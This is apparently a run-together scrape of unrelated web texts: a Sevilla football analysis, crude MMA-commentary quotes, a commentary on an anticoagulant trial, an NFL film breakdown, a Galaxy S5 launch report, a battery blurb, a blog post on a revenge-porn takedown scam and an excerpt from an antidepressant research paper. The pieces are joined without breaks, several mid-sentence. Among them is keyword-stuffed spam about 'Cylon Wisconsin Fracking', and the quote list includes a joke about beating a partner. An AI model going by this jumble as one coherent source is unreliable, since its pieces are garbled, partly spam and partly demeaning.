Patel’s attorney, Hank Sherrod, filed a lawsuit in U.S. District Court on Thursday morning against the City of Madison and the two individual officers, who were identified as John Doe and Jim Smith since they had not been named at the time, claiming illegal search and seizure and excessive use of force.Forget Pep Guardiola going to Manchester City. Nevermind Carlo Ancelotti filling the vacancy at Bayern Munich. And don’t worry about Antonio Conte taking over at Chelsea. No, to the football-hipster set, there was one specific managerial hire to get excited about this past summer: Jorge Sampaoli to Sevilla.
After his domestic and international success in South America, fans of Sampaoli’s high-octane style had been waiting for his move to the Continent. The Argentine first gained a reputation with Universidad de Chile, who won three domestic titles and the Copa Sudamericana under his guidance. Influenced by the legendary Marcelo Bielsa, Sampaoli’s side played a direct and dynamic style with the aim to overwhelm the opponent with fluid combinations and off-the-ball movements. And much like the famously obsessive Bielsa, Sampaoli, as Gabriele Marcotti wrote for The Times, would “[sit] in bed watching (football) DVDs and doing video analysis on his computer.” Where Sampaoli differed from Bielsa was in his pragmatism; while Bielsa had a specific way of doing things and setting out his team, Sampaoli’s La U changed formations on a game-by-game basis.
Fittingly, Sampaoli’s next job was as Bielsa’s replacement as the manager of the Chilean national team in 2012. Through his team’s dynamic and intense football, he completed the progress of his predecessor and turned Chile into one of the best and most compelling sides in international football. Despite losing in the round of 16 in World Cup 2014, they captured the admiration of many with their style. A year later, they beat Argentina in the final of the Copa America.
But as is the nature of international football, we were only served small and sporadic doses of Chile’s exuberant game. Their matches were a showcase of some of the best football in the world, but it was often a matter of months between opportunities to witness them play.
Now, we get to see his team play on a weekly basis — and what a treat it’s been. Sevilla are playing some of the most exciting football in the world. They’re off to their best start in La Liga history, recently snapping Real Madrid’s 40-game unbeaten streak. And they’re currently in third place, two points behind Barcelona and three behind Madrid (who have two games in hand). Sampaoli’s side is threatening to break up the longstanding Spanish duopoly, and they’re doing it with a fast, flexible, and Chilean style of football.
As he did with Chile, Sampaoli has introduced an extremely fluid style of play to Sevilla. They rarely limit themselves to a single tactical shape — WhoScored has listed 10 different formations for them this season — and much like a number of top sides this year, they have been regular exponents of a three-man defensive line. But the positional freedom that Sampaoli gives his players makes it difficult to figure out their formula.
It’s a notion shared by many progressive managers. As Hoffenheim’s Julian Nagelsmann recently shared with The Ringer: “You’re more dangerous the more positional variation you have.”
Whether there’s four, three, or even two players in the back line, Sevilla’s possessions almost always start with the defenders. But the ball isn’t held back for long. With a focus on attacking at high speeds over more deliberate and cautious possession, the center backs aim to quickly supply the midfielders. Former Stoke City midfielder Steven N’Zonzi, perhaps the most improved player under Sampaoli, is a common link between the buildup and attack.
Once the ball is farther upfield, Sevilla’s midfield and attacking play places an importance on flowing combinations. Rather than sticking to fixed positions, the players are encouraged to interchange, and the fluid movements create numerical advantages in the center and the left half-space. Within these areas, Sevilla will exchange passes in tight, well-connected triangles through the opponent’s lines of resistance.
The heartbeat of these combinations is Manchester City loanee Samir Nasri. Under Sampaoli, the attacking midfielder is being deployed in a deeper role on the left side of their midfield. His role, however, sees him play in about five other positions, as he’s given the license to follow the play in order to influence the game all across the field.
When Nasri has the ball, according to Sampaoli, the team “breathes.” His diverse range of long and tight-space passing, as well as his secure and defense-breaking dribbling diversifies Sevilla’s game. A constant figure in almost everything his team does, Nasri is an influence from buildup all the way up to the final touch.
Nasri was absent in their 4–3 win over Osasuna in late January, and it showed. Despite the three points, their buildup was much more rigid and dysfunctional, with no reliable option to help continue the ball forward. Where Nasri allows his teammates to breathe, Osasuna’s aggressive pressure suffocated Sampaoli’s side, who lacked their star’s injection of speed and calm to their attack.
While Sevilla have Nasri, they don’t have a Lionel Messi or a Cristiano Ronaldo — or even a Neymar or a Gareth Bale. And according to Transfermarkt, the Sevilla squad’s total market value is over £200M lower than that of Atlético Madrid, the last non-Real/Barca team to win La Liga. But despite the disadvantages, Sampaoli’s side have been the most exciting team in Spain this year, and it’s down to the exuberant football introduced by their new coach.
Sevilla have been in the past three Europa League finals, and they’ve won the past two. Except they haven’t finished above fifth in La Liga since 2010. Now they’re in third. And they’re favored in their round of 16 Champions League matchup with Leicester City, making an appearance in the semifinals a realistic prospect.
Of course, keeping up this domestic pace until the end of the season is a different kind of beast. Real Madrid do have a Ronaldo and a Bale (and also a Modric, a Marcelo, a Ramos, and so on), and they’re still favorites for the title. While Barcelona have shown some flaws as they continue on their path away from Pep Guardiola’s philosophy, they still can’t be counted out because, again, they have a Messi.
Sevilla aren’t perfect, either. Their fluid structure in possession doesn’t always connect the midfield together. Because the movement is so variable, the players can struggle to coordinate their runs so that players are arriving in the right spaces at the right times. This can be a particular issue during buildup: If N’Zonzi and Nasri are covered by the opponent’s midfield, their teammates often fail to drop and establish the link into midfield themselves. Synergies need to form in such a complex system, and the hope is that they will continue to do so as Sampaoli has more time to shape his team.
As a result of their open approach, they’ve been less successful at the other end. They’ve allowed 10 more goals than anyone in the top four, and their expected-goals mark is just about league average. Since their attacking style can leave the formation exposed in deeper positions, Sevilla’s defensive stability is often predicated on their counterpress. But this isn’t always coordinated well enough; they’re sometimes too slow to react, or they miscommunicate the responsibility of closing down the ballcarrier.
Advanced numbers paint Sevilla as either the third- or fourth-best team in Spain — right around the same level as Atletico Madrid — and that is progress. They’re one of the most intelligent and farsighted clubs, led by the genius executive Monchi. We can already see a distinct Chilean flair in this Sevilla team, and the excitement of their performances has been amplified by the intrigue of watching a complex team develop. It may even be a matter of seasons before we see them playing at the level Sampaoli imagines, but until then, we should all take the opportunity to just enjoy the ride week in, week out.Watching mid- to lower-tier MMA broadcasts can often be a painful experience.When so many viewers have become accustomed to the high-end production values of UFC pay-per-views, which operate like a well-oiled machine, slummin' it for cards like Shine Fights: Lightweight Grand Prix or Moosin: God of War is sometimes a necessary evil for many that comes with being a fan.Saturday's Shark Fights 13 pay-per-view could have fallen into that category. And from a strictly visual standpoint, it often made local cable access programming look Emmy-worthy.But Shark Fights had two superheroes come along to turn the broadcast from a car crash you couldn't look away from into a car crash you couldn't wait to see more of. Don Frye and Bas Rutten, the commentating duo joining Ron Kruck for the broadcast, took the pay-per-view from "just another show" status to "legendary" status.Rutten has long been a player in the MMA commentary game. He has the technical background to talk with expertise about what's happening in the fight, but his Dutch accent coupled with his penchant for using onomatopoeias like they're going out of style make him a comic book character come to life. "Bam! Pow! Ooooh! Bap! Powpowpow!"But then there's Don Frye.Oh, Don Frye. A living legend, to be certain – winner of the UFC 8 and UFC Ultimate Ultimate 96 tournaments, Pride and K-1 fighter, 8-second knockout deliverer, former firefighter, actor in movies like "Miami Vice" and "Public Enemies"... about 220 pounds of badass. Do YOU want to be the one to tell him bedecking himself in an American flag button-up cowboy shirt for the broadcast is a fashion faux pas? (Though his cowboy hat, if given the chance, could quite possibly cure Swine Flu.)With a voice that sounds like the audio love child of Randy "Macho Man" Savage and Wilford Brimley, and a mustache that quite possibly needs its own zip code, Frye brought a mix of pre-planned one-liners and deadpan observations that have already gone down in MMA broadcasting lore under the category of "Did he REALLY just say that?!?" Better still, he excused some of his comments by saying he was in Texas – so that kind of talk was allowed.Rutten singing "Heigh-Ho" from "Snow White and the Seven Dwarfs" while Houston Alexander ground-and-pounded Sokoudjou would have been a Top 20 moment on any other broadcast. But with Frye along for the ride, it paled in comparison.Here now, the Top 20 highlights of Saturday's Shark Fights 13 pay-per-view broadcast, courtesy of the inimitable Don Frye.*"I know you love me, dontcha sweetheart?""How old is that boy?""No, I'm Don. Bas is the ugly guy with no hair.""I'll take the white guy in the red shorts.""Like a couple of tribal Vikings out there. Blond hair, blue eyes...""Great to be here with you ladies.""Get Kerry's ass out of the way and we can see the fight.""I didn't know France was ever in a fight.... I heard Italy just declared war on Spain, and France surrendered.""He's still a little wobbly on his feet, ya know? Either that or he's got good rhythm.""He's built like a brick s**thouse, ain't he?""Skin like a mule's ass.""I'd like to hear if something was wrong with him tomorrow (instead of right after the fight). You don't want the Tito Ortiz list of excuses here. No one respects that.""Get out your wallets, ya cheap bastards, and give 'em some money.""That was like two hours of rough, hard sex. I need a cigarette and a tequila now.""He's so awkward. He's like a rabid octopus. He looks like he's about to fall over at any time." Fortunately, Kruck didn't point out to him that an octopus, as a cold-blooded animal, cannot get rabies."Double rainbow! Triple rainbow! Double secret probation!... No, no, no, it's gonna go into triple double overtime!" Kruck saved the day by reminding the viewers, and Frye, "There is no overtime in Shark Fights.""I started counting fights when I'd come home drunk and knock my old lady around," to which Kruck, ever the straight-man, quickly covered for him by saying, "I bet she's got a few wins over you, too.""Look at me: I'm a wrestler. My balls are so big, I wear the excess on my hat.""This guy's tough. His ears are like potatoes. Looks like he got stuck in the birth canal, had to beat him out with a stick.""That was like prison sex: hard, sweaty, violent and there was a lot of noise."* Yes, we know there are more. Plenty more. After all, this list doesn't even touch the preliminary card broadcast. What did we miss? You tell us!Prof Juan Carlos Kaski, St George's, University of London, UK
In subjects with atrial fibrillation (AF) who are at an increased risk of falling, anticoagulation is often regarded as problematic and not infrequently avoided, in many cases, despite a clear indication for its use. Recommendations in this specific group of patients are based on expert consensus but not on objective trial data. Recently, the ENGAGE AF–TIMI 48 (Effective Anticoagulation with Factor Xa Next Generation in Atrial Fibrillation–Thrombolysis In Myocardial Infarction 48) trial specifically assessed the “relative efficacy and safety of edoxaban versus warfarin in patients with atrial fibrillation judged to be at increased risk of falling”. (1) – The identification of patients at risk of falling was rather subjective in the study and may have introduced a degree of selection bias.
The authors performed a pre-specified analysis comparing patients with versus without increased risk of falling. This was a large study with 900 patients (4.3%) considered to be at increased risk of suffering a fall. These patients were found to be older (median, 77 vs. 72 years; p < 0.001), and had more comorbidities including the following: a history stroke/transient ischemic attacks, diabetes mellitus, and ischemic heart disease. As expected, patients at increased risk of falling had more fractures as a result of falling (adjusted hazard ratio [HR]: 1.88; 95% confidence interval [CI]: 1.49 to 2.38; p < 0.001), major bleeding (HR: 1.30; 95% CI: 1.04 to 1.64; p 1⁄4 0.023). These patients also had more life-threatening bleeding (HR: 1.67; 95% CI: 1.11 to 2.50; p 1⁄4 0.013), and increased all-cause mortality (HR : 1.45; 95% CI: 1.23 to 1.70; p < 0.001). Ischemic events such as stroke (HR: 1.16; 95% CI: 0.89 to 1.51; p 1⁄4 0.27) were not higher in these subjects. The authors reported that “treatment with edoxaban resulted in a greater absolute risk reduction in severe bleeding events and all-cause mortality compared with warfarin”. (1)
A critical assessment of the study results (1) by Elaine M. Hylek and Darae Ko, (2) highlighted the fact that patients at increased risk of falling were not randomised and the optimal choice of anticoagulant for patients who are prone to falling cannot be definitively answered by this study. Hylek and Ko however agree that “biologically, the non-vitamin K oral anticoagulants (NOACs) should have an advantage as their mode of action does not affect factor VII”.
The findings of ENGAGE AF–TIMI 48, if confirmed in further large, multicentre studies may trigger a paradigm change in the management of AF in real life clinical practice. This as a result of the main findings in the study (1) that the use of edoxaban was associated with a greater absolute reduction in severe bleeding events and mortality.
REFERENCES"He has nine interceptions in two games."
That is the something you hear a lot about Ryan Fitzpatrick these day. Alas, if only it was this simple. There are plays from Sunday's game that just make you go crazy.
Here is a red zone play where the Jets have three receivers lined up to his right. Presumably this is where his primary read would be. On the other side he only has Kellen Davis. Brandon Marshall is on the inside.
Marshall is on the inside. There is a window to get him this ball.
He ends up checking the ball down to Bilal Powell, though. This was the controversial early play where a Powell fumble was taken away as the play was called incomplete.
Was the play supposed to go to Powell? It wasn't a screen. There are no blockers there. Seattle isn't really an aggressive defense that you can catch on a blitz either so I'm not sure this was by design. I also have my doubts that in a red zone situation your first look would be on a side with only one receiver by the name of Kellen Davis while Marshall is on the other side with three guys running a route combination.
Here's another play that is less than a thing of beauty. It looks like a one man pattern against Richard Sherman. I don't think it was by design, though. I think Fitzpatrick was looking, saw Sherman late to his position, and tried to take advantage by changing the play on the fly with Enunwa.
Sherman still isn't at his position by the time the ball is snapped but close enough to make a play.
By the time the throw is made, Sherman has Enunwa blanketed.
Enunwa and Fitzpatrick aren't on the same page.
You can see here that the Jets are blocking this like a run play. It isn't play action since there's no attempt to give Matt Forte the ball. Forte doesn't even seem to know what to do when he doesn't get it.
Fitzpatrick did this on his own with Enunwa, but overestimated the timing and ability to catch a cornerback as great as Sherman. In the process, a really dangerous throw is made.
Here he has a screen set up on his right hand side, but he's intent going one on one with Marshall against Sherman. The problem is Marshall isn't one on one.
Look at how much ground Thomas has closed by the time the ball is on its way out.
This may or may not be an "interceptable pass" but it is a poor decision and a dangerous throw. To be fair to Fitzpatrick, the Jets blow an assignment up front that gets him hit. The screen would not have been there to go back to him because the line is sliding left, and the back doesn't pick up the rusher on the edge.
Still, this is not the right play. I don't know whether the first option was to throw a timing play to Marshall, but the presnap situation indicates the screen on the other side was set up.
Now let's move onto an underthrow on a deep ball to Robby Anderson. Here I'm not convinced the greatest sin was necessarily an off target pass. It was the decision-making process that led to the pass.
This third down play is schemed pretty well. Charone Peake comes into motion to line up near Brandon Marshall.
At the snap, Peake's route helps set a legal pick on Sherman to set Marshall free.
Marshall isn't a lock to get a first down if the ball is coming his way, but he does have enough daylight to potentially get to the sticks.
Fitzpatrick isn't looking in his way. Such is life without a quarterback who can't see the field.
On his side, though, there is Bilal Powell who might be a block and making one man miss away from picking up the first down.
Rather than trusting one of his top playmakers such as Powell who had converted a number of catches underneath into first downs by getting to the sticks, Fitzpatrick decides he is going to trust an undrafted rookie seeing his first real NFL action. As you can see, Anderson has no separation at the time the ball is thrown. Yes he does break free, but that is partially because he is going at top speed rather than tracking the ball once it is in the air. Yes, if Fitzpatrick throws it in front of him, it could be a touchdown. Still, this is a low percentage play with a play being run specifically to free up his number one receiver and a second option with a proficiency for converting plays like this being ignored.
It has been a story too frequent in a long NFL career. He cannot see the whole field and is forcing the ball where it doesn't make sense. When it makes sense to go to Marshall, he isn't looking.
It isn't just that he's throwing interceptions. It is that the thought process is bad on too many plays. Again, this is no great shock. If you watched the film for long chunks of last season, there was plenty of bad but also enough stretches of good to be effective.
Now you have a quarterback who seems so unsure of what to do that he's taking sacks and losing yardage when he could easily throw passes away.
It isn't just the interceptions. There are too many plays being left on the field.Cylon Wisconsin Fracking is a potentially dangerous practice that is sometimes used in many areas of the world in order to get access to natural gas and oil from the earth. The use of Cylon Wisconsin Fracking has been embraced by the oil and natural gas industry in order to be able to help expand supplies of this material to customers who need it. Those who are use Cylon Wisconsin Fracking in order get access to natural gas and oil supplies have become aware in recent years of how it may lead to the release of radon gas and other dangerous substances.
Radon is a colorless and odorless gas that may pose potential harm to those who breathe it in by accident. This particular technique has been used by the natural gas and oil industries in many parts of the country. The use of Sunderman Fracking of Cylon WI 54017 has been considered controversial in some ways. Those who live where Sunderman Fracking of Cylon WI 54017 is used via a map have often been afraid that it will release radon gas into the air and to create other kinds of problems as a result of the Sunderman Fracking of Cylon WI 54017 technique.Samsung's new Galaxy S5 smartphone went on sale in South Korea today, more than two weeks before its planned global release date, despite attempts by Samsung to delay the phone's arrival in stores. Samsung says it planned to release the phone in its home market on April 11th, but South Korean carriers moved the date forward to avoid government sanctions that prevent them from obtaining new customers during April.
In a statement, Samsung said it was "very puzzled" about South Korean carriers' decision and was "deciding how to respond" to the early sale. "SK Telecom [South Korea's largest carrier] strongly asked for an earlier release of the product but we delivered our stance that the global release date of April 11 remains unchanged."
South Korean carriers moved the date forward to avoid upcoming government sanctions
SK Telecom — and carrier competitors KT and LG U+ — were keen to secure an earlier release date because they are subject to state-imposed restrictions that prohibit them from acquiring new customers during most of April. Samsung's April 11th release date was laid out before the South Korean government detailed the rulings, which were imposed when the carriers were found to be offering illegal subsidies.
In a statement to Bloomberg, SK Telecom said it decided to release the Galaxy S5 "for a wider consumer choice of handsets before our operation suspension begins on April 5." J. K. Shin, Samsung's mobile chief, responded to journalists' questions yesterday, answering "no" when asked if the phone would go on sale early in South Korea. This appeared to contradict Samsung's own stores — Hankyung reported on the 25th that Samsung-run stores in Seoul told pre-ordering customers that they would receive their new phones on the 27th.
We've reached out to Samsung for more details, and will update with any response.
Update: Samsung has provided The Verge with the following statement:
"The official global launch date of the Galaxy S5 is April 11, as previously announced. Samsung has provided mobile carriers with a limited number of units for marketing and pre-sales activities, however the decision to release the device early in the Korean market was made by the mobile carrier itself, independently of Samsung. We express our regret at this decision and we are working to verify all the facts."
Hyunhu Jang contributed to this report.Sanyo’s Eneloop batteries have had an edge over other rechargeable AAs since they were released in 2005. Basically, Eneloops could retain their charge longer than other rechargeables, including other low self-discharge AAs. Eneloops can hold 85% of their charge for one year, and 75% after three years.
Now, Sanyo has released a new version of the Eneloop, called the Eneloop Pro (in Japan) or Sanyo XX Battery Powered By Eneloop (in the US and Europe). The Eneloop Pro battery has a capacity of 2500 mAh — which is 500 mAh more than the regular Eneloop. In informal tests, Eneloop Pro retained 2035 mAh of capacity after 7 weeks of storage, which was higher than any other NiMH battery (both regular or low-self discharge), making it the longest lasting rechargeable AA battery. The only other battery to come close was the Energizer Recharge, which retained 1859 mAh after seven weeks of storage.
Eneloop Pros are available at Amazon. You can also buy the Eneloop Pros with a charger included.
Sanyo hasn’t released an AAA version of Eneloop Pro.I've been out of sorts of late, riven with the suburban fin de siècle, plagued with ennui, angst, weltschmertz. You know — moping.
There's only so many free speech cases I can write about in a week. Nobody pony-worthy is writing to me. I'm waiting for a couple of shoes to drop on the UST Development fraud investigation.
If only there were a nice juicy scam out there to chase...
Marc Randazza to the rescue!
The Background
Oh, but Marc found such a fine nest of cockroaches worthy of stomping. You may recall there was a website called "Is Anyone Up?, which featured nude pictures of women often submitted by angry ex-boyfriends or otherwise misappropriated, posted with their names and hometowns and other elements making it likely they'd pop up on searches. The site was part of the same sick subculture that feeds the Violentacrez of the internet.
Since that site's decline, there have been many imitators. Marc Randazza is documenting a scam involving such a site, and a purported lawyer who will take money to get your picture taken down from it.
The Bogus Lawyer, And The Con
The copycat site — which I will not link — is called "Is Anyone Down?". That is the peak of its creativity. The companion lawyer site is "The Takedown Lawyer," [note: see update at end of post] run by "David Blade," who claims to be a public defender in New York who is doing this on the side. He offers a cut-rate price to get "personal information" down from sites like "Is Anybody Down?":
Our normal price is $250 – for that amount, we can make sure that your unwanted information is removed from these websites, so that you may have your freedom and your sanity back. We offer all of the same services that more expensive lawyers offer (DMCA takedown request, private investigation, takedown negotiation, filing request, subpoenas) at a fraction of the cost.
Funny thing, though: the advertisement on "David Blade's" own site "The Takedown Lawyer" is pretty brief. If you want to see more details of David's practice, you have to look at his longer advertisement and explanation of his practice — at the "Is Anyone Down?" website, reached by clicking the "Get Me Off This Site!" tab:
Hello! I’m the Takedown Lawyer and so far, I’ve had 42 clients come to me to have their pictures and information removed from Is Anybody Down, all of whom were a success! I have people’s pictures and information taken down from sites like these all the time; including over 38 removals from the original “Is Anyone Up” over the past 2 years. My guarantee is that your pictures and information will be taken down within 48 hours for a lot less than what the average lawyer will charge you. If your pictures and info aren’t removed, I will refund your money. Your costs with me will generally be $200-$300, which is far less than most lawyers will charge for a mere consultation of your case. I’m so confident in my abilities as an attorney that I took out an ad on this page just to show you that I mean business. I understand that sites like these can cause many problems in your personal life and I want to help you get your peace of mind and privacy back!
"David Blade" goes on to explain that he's a college pal of the person who runs "Is Anybody Down?", explaining his success at getting content taken down. Read the whole thing in Marc's post; it's stunning.
But the relationship between the sites is even closer than the advertisement admits. This summer blogger Ipka pointed out that the same individual, Craig Brittain of Colorado Springs, Colorado, registered both "Takedown Lawyer" and "Is Anybody Down?" — Ipka caught the details before Mr. Brittain clumsily attempted to anonymize hosting.
So: you've got (purportedly) two sites working in harmony. One site puts up misappropriated nude pictures, the other site charges a fee to get them taken down, on the pretense that it is run by an independent lawyer representing the best interests of the wronged victims. But they are registered by the same person — Craig Brittain — and the second site advertises on the first. That, friends and neighbors, sure looks like wire fraud and interstate extortion. You've got a scheme to defraud using the interstate wires to tell people they need to pay a purportedly independent "lawyer" to get pictures down when the lawyer is actually a confederate, and you've got a scheme to use the interstate wires to demand money in exchange for taking down embarrassing pictures. Were I still a prosecutor I'd take the case in a heartbeat; as a defense lawyer I'd charge a hefty retainer, because that's going to be hard to defend.
Marc Talks To "Blade"
As Marc points out, there is no attorney "David Blade" registered with the New York bar. If this were an attorney, he'd be in a world of hurt with the state bar — he's violated conflict of interest rules, advertising restrictions, and any number of other prohibitions. But I don't think he is a lawyer. There is no "David Blade," and though someone pretending to be "David Blade" might have been pre-law or watched Matlock once, "David Blade's" material was not written by a real lawyer — and certainly not by a public defender. There are stupid lawyers, there are bullshit artist lawyers, and there are crazy lawyers, but even crazy stupid bullshit artist lawyers sound different than non-lawyers, as a result of being dehumanized by legal education and the practice of law.
How sure am I? Pretty sure, based on the evidence. Never a shrinking violet, Marc wrote "David Blade" to get his side of it, with hilarious results worth reading in full. "Blade" admitted that "Blade" is an alias, but blustered that he is a lawyer, he protects his identity to protect his family, and that what he does is completely legitimate. Faced with New York Rule of Professional Conduct 7.1(h) ("All advertisements shall include the name, principal law office address and telephone number of the lawyer or law firm whose services are being offered."), "Blade" offers this epic word salad:
Rule 7.1(h) is specifically pursuant to case law. I do not engage in case law, civil law, or trial law using TakedownLawyer.com. I solely engage in mitigated/mediated takedowns, which are not considered to be a legal service, on behalf of clients of TakedownLawyer.com. The reference to my legal credentials is solely for credibility. If, for example, you were to build a website called "MowingLawyer.com", Where you engaged in yard services for clients, you would be under the same rules. Trust that I have a much better understanding of the laws in New York State
than you ever will.
... which, by the way, he signs "David Blade III." The "III" is for "three times as hilarious."
There's more in that correspondence — the attempts to bribe Randazza with clients, and finishes with threats:
This is a notice that you will cease and desist what you are doing, pursuant to police contact and contact with the State Bar Association of Nevada. You are knowingly committing extortion.
Yeah. "Pursuant to police contact." Sure that's a public defender. More likely it's a person of modest abilities who may need a public defender soon in a state such as, oh, I don't know, just for the sake of argument, Colorado.
Ken Talks To Craig Brittain
I decided to see |
the efficacy of placebo. Interpreted straightforwardly, the results suggest that antidepressants do not really have much clinical effect on depressive symptoms, except perhaps in patients in the “very severe” range. The finding that antidepressants have modest symptom reducing effects relative to placebo has been replicated in several other studies (Khan et al., 2002, 2005, 2011; Fournier et al., 2010). The British consider the difference between placebo and antidepressant to be small enough to recommend that antidepressants not be used except in cases of severe depression (Bonin, 2012). Recently, in an interview on the news program 60 Minutes, a representative of the US FDA stated that the symptom reducing effect of antidepressants relative to placebo is “rather small” (Bonin, 2012). Some have taken the evidence of the limited efficacy of antidepressants as evidence that serotonin is not involved in regulating depressive symptoms. However, limited efficacy is also expected under the hypothesis that the homeostatic mechanisms regulating serotonin are still intact, because the brain is expected to push back against the effects of antidepressants (Andrews et al., 2011).
Effects of Prolonged Antidepressant Treatment Even among those who respond to antidepressant treatment, longer-term use is associated with a loss of symptom reducing efficacy – sometimes causing a full-blown relapse. This is also consistent with the brain pushing back against the symptom reducing effect of antidepressants. In an early review, studies showed that 9–57% of long-term antidepressant users met formal criteria for a relapse or a recurrence (Byrne and Rothschild, 1998). More recent studies have found similarly high rates of relapse among those who initially remitted on the drug. In one study of fluoxetine, 35.2% met relapse criteria after 6 months of continuous treatment, increasing to 45.9% after 12 months (McGrath et al., 2006). In another study, 68% of patients who initially met remission criteria, and were exposed only to continuous antidepressant treatment, had a relapse over a 2 year period (Bockting et al., 2008). Of course, these studies only report increases in symptoms that meet formal criteria for a relapse. A more general loss of efficacy with prolonged antidepressant use must be substantially higher. Sequenced treatment alternatives to relieve depression The results of the Sequenced Treatment Alternatives to Relieve Depression (STAR * D) study are worth detailed description. This study has widely been reported as evidence that antidepressants are effective in the long-term reduction of depressive symptoms, especially if an alternative antidepressant with a broader monoaminergic profile is administered after a narrower one fails (Insel and Wang, 2009). The 3110 patients who met inclusion criteria for STAR * D were put through a maximum of four sequential pharmacological treatments, where a new treatment was initiated conditional on failing to respond to the prior one. The overall remission rate for patients who completed all treatment steps was reported to be 67% (Rush et al., 2006). However, STAR * D did not include a placebo control group, so any positive responses are not simply attributable to antidepressants – they are attributable to both antidepressants and the placebo effect. Since there was no placebo group, it is not possible to estimate how effective antidepressants were. Moreover, focusing on only those patients who completed all the treatment steps obscures the fact that 93% of the 1518 patients who met criteria for remission in one of the four steps either relapsed during 12 months of treatment or dropped out of the study (Pigott et al., 2010). Even with no placebo control group, this awkward fact also suggests that antidepressants have limited long-term efficacy at best. The 93% relapse/dropout rate was not reported in the primary STAR * D publications. Rather, it was reported by outside researchers who re-analyzed the data (Pigott et al., 2010). These outside researchers have also documented numerous instances of apparent bias in the reporting of results by STAR * D researchers (Pigott et al., 2010).
Increased Risk of Relapse after Antidepressant Discontinuation When homeostatic mechanisms are perturbed from equilibrium, they produce an opposing force that is proportional to the degree of perturbation. For instance, when you compress a spring from its equilibrium position, it produces an opposing force and the strength of this force increases as you compress it further. Moreover, when you release your hand from the compressed spring, it first overshoots the equilibrium position before returning to equilibrium, and the degree of overshoot is proportional to how much you compressed it. Antidepressants vary in how much they perturb forebrain monoamine levels, which is analogous to saying that they compress the spring to varying degrees. If the homeostatic mechanisms regulating monoamine levels are properly functioning in most people diagnosed with MDD, then we should see an overshoot in depressive symptoms when they are discontinued. Moreover, the degree of overshoot should be proportional to the strength of the antidepressant. To test the overshoot prediction, we recently conducted a meta-analysis of studies in which antidepressants are discontinued. Data are lacking on how much antidepressants perturb monoamines in the human brain because it requires invasive techniques, so we examined how much they increase monoamines in a region of the rodent prefrontal cortex implicated in controlling depressive symptoms (Amat et al., 2005). Placebo has no effect on monoamine levels in the rodent brain, but the strongest antidepressants can increase prefrontal monoamine levels by 400% or more (Bymaster et al., 2002). After controlling for covariates, we found strong positive relationships between the risk of relapse after discontinuation and the degree to which the antidepressant used in the study increases serotonin (Figure ) and norepinephrine (Figure ). In other words, the more antidepressants perturb monoamine levels in the brain, the more the brain appears to push back, which increases the risk of relapse when the drug is discontinued. This positive relationship also strongly suggests that patients who get better without the use of antidepressants (i.e., when serotonin and norepinephrine levels are not perturbed) will have a lower risk of relapse. Open in a separate window Open in a separate window Altogether, the results of our meta-analysis further support the hypothesis that the homeostatic mechanisms regulating serotonin and norepinephrine are pushing back against the effects of antidepressants. The fact that this pushback occurs in patients meeting current diagnostic criteria for MDD casts some doubt on the hypothesis that serotonin levels are dysregulated in such patients. This is because the sensor and negative feedback components of the homeostatic mechanisms must be functioning to produce pushback against the effects of antidepressants. However, our results do not rule out some dysfunction in the component that sets the equilibrium. The results also are inconsistent with hypotheses that antidepressants interrupt stress responses and give the brain a chance to heal so that it can become more resilient to depression (Sapolsky, 2001; Kramer, 2005). Instead, antidepressant use appears to increase susceptibility to depression. To show how different antidepressants affect the risk of relapse, for this paper we conducted a regression analysis on this dataset including the major antidepressant classes and controlling for the covariates we identified as being important in our prior work. Fluoxetine is unique among the SSRIs in that it increases prefrontal norepinephrine levels through a mechanism other than reuptake blockade (Bymaster et al., 2002), so we separated it from the other SSRIs. The estimated 3-month risk of relapse for patients who had remitted while on placebo was only 21.4%, while the risk after antidepressant discontinuation generally increased with the monoaminergic perturbational effect of the class: 43.3% (SSRI), 47.7% (SNRI), 55.2% (TCA), 61.8% (fluoxetine), and 75.1% (MAOI). Neuronal proliferation, death, and differentiation Serotonin is involved in shaping the brain through a number of developmental processes, including cell differentiation, neuronal apoptosis (programmed neuronal death), neurogenesis (the birth and growth of new neurons), and neuroplasticity (Azmitia, 2001). Because of the complex role that serotonin plays in shaping the brain, antidepressants could have complex effects on neuronal functioning. Many studies have been conducted purporting to show that antidepressants promote neurogenesis (Hanson et al., 2011), and some have argued that this could be a fundamental and beneficial part of the antidepressant response (Santarelli et al., 2003; Duman, 2004; Warner-Schmidt and Duman, 2006; Perera et al., 2011). Many also consider neurogenesis to be useful because it could promote healing of neuronal damage that is purportedly caused by depression (Sapolsky, 2001). At the same time, the assumption that neurogenesis is a beneficial effect of antidepressants should not be accepted uncritically. Neurogenesis is carefully regulated over the life span because cognitive functioning does not bear a simple relationship to the number of neurons in the brain. In fact, if antidepressants were really effective in promoting the proliferation of new neurons, clinicians would have to weigh any possible utility of antidepressants with the possibility that they could trigger brain tumors (Jackson, 2009). However, there is growing in vitro evidence that antidepressants reduce gliomas and neuroblastomas, and these effects are mediated by neuronal apoptosis (Levkovitz et al., 2005; Cloonan and Williams, 2011). In fact, a recent epidemiological study suggests that prolonged TCA use in humans may protect against gliomas (Walker et al., 2011), although antidepressants may increase the risk of other forms of cancer (Cosgrove et al., 2011). Apoptotic effects are not limited to neoplastic tissue. Antidepressants have been found to cause cell death in non-cancerous hippocampal neurons in vitro (Post et al., 2000; Bartholoma et al., 2002) and in vivo (Sairanen et al., 2005). They have also been found to cause cell death in sperm cells (Tanrikut et al., 2010). In short, there is good evidence from several different lines that antidepressants trigger apoptosis. It would be extremely odd if antidepressants directly and concomitantly promoted both neurogenesis and neuronal apoptosis. In fact, the evidence of antidepressant triggered neurogenesis is equivocal (Jackson, 2009). At the heart of the matter is the fact that all the studies testing for neurogenesis use a method called 5-bromo-2′-deoxyuridine (BrdU). Other methods may be used as well, but BrdU is nearly always used. BrdU is an analog of the nucleoside thymidine that is incorporated into DNA during synthesis, and the incorporated compound can be detected using immunohistochemistry. Thus, BrdU is a marker of DNA synthesis, which might make it seem to be a good marker of cellular proliferation, since DNA must be synthesized for a cell to divide. However, the interpretation of the BrdU signal is complicated by the fact that BrdU can be incorporated into DNA during processes other than neurogenesis, including DNA repair, abortive cell cycle reentry, and DNA duplication without cellular division (Taupin, 2007). Of particular relevance is the fact that DNA is often synthesized during processes that lead to apoptosis (Taupin, 2007). The interpretational problems with BrdU have led one reviewer to state that BrdU is “one of the most misused techniques in neuroscience” (Taupin, 2007, p. 198). Other commentators have stated that “bromodeoxyuridine (BrdU) labeling is often uncritically accepted as proof of neurogenesis when it may well be attributable to a cell cycle-related cell death” (Herrup et al., 2004, p. 9232). More recently, researchers have used other methods in conjunction with BrdU to attempt to ascertain the fate of neurons after antidepressant use. Common methods involve assessing neurons for Ki-67 and doublecortin (DCX), both of 